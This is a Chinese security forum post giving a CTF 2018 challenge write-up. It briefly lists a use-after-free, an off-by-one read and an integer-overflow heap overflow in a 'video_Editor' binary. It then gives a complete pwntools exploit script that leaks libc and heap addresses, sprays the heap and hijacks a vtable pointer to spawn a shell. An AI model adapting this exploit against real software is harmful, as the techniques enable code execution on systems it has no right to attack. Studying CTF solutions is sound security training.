首页
论坛
课程
招聘
ctf2018-第9题
2018-7-3 14:46 1389

ctf2018-第9题

2018-7-3 14:46
1389
1. 初始化的时候, 随机分配大小为(0~0xFF)的内存256次, 并释放其中的1/3

2. audio_play与video_play都存在one byte out-of-bound access
audio_play每个字节按int显示
video_play每个字节按char显示

3. video_edit中存在use-after-free
clip.data = new char[len];
if (clip.data) delete[] clip.data;
clip.len = read(0, clip.data, len);

4. subtitle_add中存在integer overflow, 可导致heap overflow

常规解法不会- -

leak libc地址与heap地址, 堆喷填充初始化时候的gap
heap overflow覆盖video_clip对象 
clip.vtbl.play=one_gadget
clip.play 

from pwn import *
 
# context.log_level = 'debug'
 
 
target_file = './video_Editor'
# context.binary = target_file
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
 
# io = process(['./linux_server64'])
io = process([target_file])
# io = remote('139.199.99.130', 8989)
# print("process base: %s" % hex(io.libs()[os.path.abspath(target_file)]))
# print("process libc_base: %s" % hex(io.libs()[libc_path]))
libc = ELF(libc_path)
 
 
def x_init():
    # setup for one_gadget: [rsp+0x70] == NULL
    io.sendafter('Please enter your Recording Name?', '\x00' * 255)
    return
 
 
def x_add_video(buf, buf_len, desc='D' * 4):
    io.sendlineafter('>>> ', '1')
    io.sendlineafter('>>> ', '1')
    io.sendafter('Video Resolution : ', '0')
    io.sendafter('FPS : ', '0')
    io.sendafter('Number of Frames : ', p32(buf_len))
    io.sendafter('Video Data : ', buf)
    io.sendafter('Add description : ', desc)
    return
 
 
def x_add_audio(buf, buf_len, desc='D' * 4):
    io.sendlineafter('>>> ', '1')
    io.sendlineafter('>>> ', '2')
    io.sendafter('Audio Bitrate : ', '0')
    io.sendafter('Audio Length (seconds) : ', p32(buf_len))
    io.sendafter('Audio Data : ', buf)
    io.sendafter('Add description : ', desc)
    return
 
 
def x_add_subtitle(buf, buf_len, existing=False):
    io.sendlineafter('>>> ', '1')
    io.sendlineafter('>>> ', '3')
    if not existing:
        io.sendafter('Subtitle Language : ', '0')
    io.sendafter('Subtitle Length : ', pack(buf_len, 32))
    io.sendafter('Add Subtitle : ', buf)
    return
 
 
def x_add_metadata(create_time, owner):
    io.sendlineafter('>>> ', '1')
    io.sendlineafter('>>> ', '4')
    io.sendafter('Date of Creation : ', create_time)
    io.sendafter('Owner of video : ', owner)
    return
 
 
def x_edit_video(index, buf, buf_len, desc='D' * 4):
    io.sendlineafter('>>> ', '2')
    io.sendlineafter('Enter index : ', str(index))
    io.sendafter('Video Resolution : ', '0')
    io.sendafter('FPS : ', '0')
    io.sendafter('Number of Frames : ', p32(buf_len))
    io.sendafter('Video Data : ', buf)
    io.sendafter('Edit description : ', desc)
    return
 
 
def x_edit_audio(index, buf, buf_len, desc='D' * 4):
    io.sendlineafter('>>> ', '2')
    io.sendlineafter('Enter index : ', str(index))
    io.sendafter('Audio Bitrate : ', '0')
    io.sendafter('Audio Length (seconds) : ', p32(buf_len))
    io.sendafter('Audio Data : ', buf)
    io.sendafter('Edit description : ', desc)
    return
 
 
def x_edit_subtitle(index, buf):
    io.sendlineafter('>>> ', '2')
    io.sendlineafter('Enter index : ', str(index))
    io.sendafter('New Language : ', '0')
    io.sendafter('Edit data : ', buf)
    return
 
 
def x_play_video(index, no_wait=False):
    timeout = 3 if no_wait else Timeout.default
    try:
        io.sendlineafter('>>> ', '3', timeout=timeout)
        io.sendlineafter('Enter index : ', str(index), timeout=timeout)
        io.recvline(timeout=timeout)
        buf = str(io.recvline(timeout=timeout)).strip()
        buf = buf.encode('hex')
        return buf
    except:
        return None
 
 
def x_play_audio(index):
    io.sendlineafter('>>> ', '3')
    io.sendlineafter('Enter index : ', str(index))
    buf = str(io.recvline()).strip()
    return buf
 
 
def x_remove(index):
    io.sendlineafter('>>> ', '4')
    io.sendlineafter('Enter index : ', str(index))
    return
 
 
def leak_by_video(index, buf_len, key):
    v = 0
    for i in range(7):
        x_edit_video(index, p8(key) * (i + 1), buf_len)
        b = int(x_play_video(index), 16)
        v += (b ^ key) << (8 * (i + 1))
    # print hex(v)
    return v
 
 
def exploit_heapspray():
    x_init()
 
    key = 0xCC
    x_add_video(p8(key), 1024)
    x_add_video(p8(key), 1024)
    x_add_video(p8(key), 1024)
    x_add_video(p8(key), 1024)
    x_remove(2)
    x_remove(0)
 
    v = leak_by_video(1, 1024, key)
    # lowest-byte missing
    heap_base = v
    print('heap_base: %s' % hex(heap_base))
    x_add_video('A', 1024)
 
    v = leak_by_video(1, 1024, key)
    libc_base = v - (libc.symbols['__malloc_hook'] - 0x10)
    libc_one_gadget = libc_base + 0xf1147
    print('libc_base: %s' % hex(libc_base))
    x_add_video('B', 1024)
 
    clip_count = 6
    x_add_video('1', 1024)
    x_add_subtitle('2', 1024)
    x_edit_video(clip_count, '3', 1024)
 
    heap_base += 0x410 * clip_count + 0x10
    print('heap_base: %s' % hex(heap_base))
    subtitle_index = clip_count + 1
    clip_count += 2
 
    spray_index = clip_count
    spray_count = 256
    # fill up gaps created on init, create some clip after subtitle
    for i in range(spray_count):
        print('add_video i=%s' % i)
        x_add_video('4', 0x50)
        clip_count += 1
 
    # overflow(fix heap, video.vtbl.play=one_gadget)
    x_remove(subtitle_index)
    fake_vtbl = p64(heap_base - 0x10)
    fake_play = p64(libc_one_gadget)
    buf = ''
    buf += (fake_vtbl + fake_play) * 0x1F
    # prev_size + size
    buf += p64(0x200) + p64(0x61)
    x_add_subtitle(buf, 512)
    buf = ''
    buf += (fake_vtbl + fake_play) * 13
    x_add_subtitle(buf, -0x10, True)
 
    for i in range(spray_count):
        print('play_video i=%s' % i)
        if x_play_video(spray_index + i, no_wait=True) is None:
            break

    # send CTRL+C after done to break from read
    io.interactive()
 
    return
 
 
exploit_heapspray()


[公告]春风十里不如你,看雪团队诚邀你的加入!

最后于 2018-7-3 21:31 被风间仁编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回